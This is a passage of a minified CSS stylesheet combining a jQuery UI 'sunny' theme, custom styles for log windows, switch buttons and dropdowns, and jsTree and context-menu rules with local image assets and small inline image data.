0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Segoe UI,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Segoe UI,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #d19405}.ui-widget-content{border:1px solid #8e846b;background:#feeebd url(assets/jqueryui/sunny/images/ui-bg_highlight-soft_100_feeebd_1x100.png) 50% top repeat-x;color:#383838}.ui-widget-content a{color:#383838}.ui-widget-header{border:1px solid #494437;background:#817865 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_45_817865_500x100.png) 50% 50% repeat-x;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #d19405;background:#fece2f url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_60_fece2f_500x100.png) 50% 50% repeat-x;font-weight:700;color:#4c3000}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#4c3000;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #a45b13;background:#ffdd57 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_70_ffdd57_500x100.png) 50% 50% repeat-x;font-weight:700;color:#381f00}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#381f00;text-decoration:none}.ui-visual-focus{-webkit-box-shadow:0 0 3px 1px rgb(94,158,214)}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #655e4e;background:#fff url(assets/jqueryui/sunny/images/ui-bg_inset-soft_30_ffffff_1x100.png) 50% 50% repeat-x;font-weight:700;color:#0074c7}.ui-icon-background,.ui-state-active .ui-icon-background{border:#655e4e;background-color:#0074c7}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#0074c7;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #eeb420;background:#fff9e5 url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_90_fff9e5_500x100.png) 50% top repeat-x;color:#1f1f1f}.ui-state-checked{border:1px solid #eeb420;background:#fff9e5}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#1f1f1f}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #ffb73d;background:#d34d17 url(assets/jqueryui/sunny/images/ui-bg_diagonals-medium_20_d34d17_40x40.png) 50% 50% repeat;color:#fff}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#fff}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#fff}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_d19405_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_fadc7a_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_bd7b00_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_eb990f_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_ed9f26_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_ffe180_256x240.png)}.ui-button .ui-icon{background-image:url(assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px!important}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px!important}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px!important}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px!important}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:8px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:8px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:8px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:8px}.ui-widget-overlay{background:#5c5c5c;opacity:.8;filter:Alpha(Opacity=80)}.ui-widget-shadow{-webkit-box-shadow:-7px -7px 7px #ccc}.hourglass{background:url(assets/jqueryui/sunny/images/hourglass-dark-red.gif)}.icon{vertical-align:middle!important;margin-top:-0.25em!important;margin-right:0.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png)!important}.progress-val{position:absolute;font-weight:700;color:#fece2f;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 0 0}.header-label{font-size:10pt;cursor:pointer;white-space:pre}.header-label.off{color:#fff3cc;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.header-label.on{color:#fece2f;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.switch-button-label{float:left;font-size:10pt;white-space:pre}.switch-button-label.off{color:#fff3cc;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.switch-button-label.on{color:#fece2f;text-shadow:-1px -1px 0 #817765,0 -1px 0 #817765,1px -1px 0 #817765,1px 0 0 #817765,1px 1px 0 #817765,0 1px 0 #817765,-1px 1px 0 #817765,-1px 0 0 #817765}.switch-button-background{float:left;position:relative;border:2px solid #d19405;background:#fece2f url(assets/jqueryui/sunny/images/ui-bg_gloss-wave_60_fece2f_500x100.png) 50% 50% repeat-x;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;background:#726a5a;border:1px solid #726a5a}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.intro-framed-textbox{border:1px solid rgb(129,120,101);-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em 5em;padding:.2em .2em .2em .2em}.log-info{font-size:14px;font-weight:700;color:#000!important}.log-warning{font-size:14px;font-weight:700;color:#ff9900!important}.log-error{font-size:14px;font-weight:700;color:#cc0000!important}.log-debug{font-size:14px;font-weight:700;color:#6B552C!important}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;background:#feeebd url(assets/jqueryui/sunny/images/ui-bg_highlight-soft_100_feeebd_1x100.png) 50% top repeat-x;color:#6B552C;min-width:350px;border:1px solid #8e846b;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/sunny/images/ui-icons_3d3d3d_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#6B552C}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em 0}.logoptions{-webkit-border-top-left-radius:12px;-webkit-border-top-right-radius:12px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;font-size:12px;text-align:center;font-weight:700}.btlogoptions{border:0;font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #d19405;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #d19405;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #d19405;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px 2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 10px 0 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 0 0 0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%;border:1px solid #665f4d}.txt-log{padding:0 5px 0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px 25px;padding:10px 20px 10px 20px;-webkit-border-radius:6px;border:0}.preloader{background:#5c5c5c;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:black;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons .jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em 0 2em;text-decoration:none;width:auto;color:black;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 white;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:white;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:white;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:white;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px 0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow 0.15s}.jstree-default .jstree-hovered{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-context{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#beebff;-webkit- border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #999;box-shadow:inset 0 0 1px #999}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#8b0000;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#e7f4f9}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#e7f4f9}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default .jstree-wholerow-clicked{background:#beebff;background:-webkit-linear-gradient(top,#beebff 0%,#a8e4ff 100%);background:linear-gradient(to bottom,#beebff 0%,#a8e4ff 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/sunny/images/32px.png)}.jstree-default .jstree-node{background-position:-292px 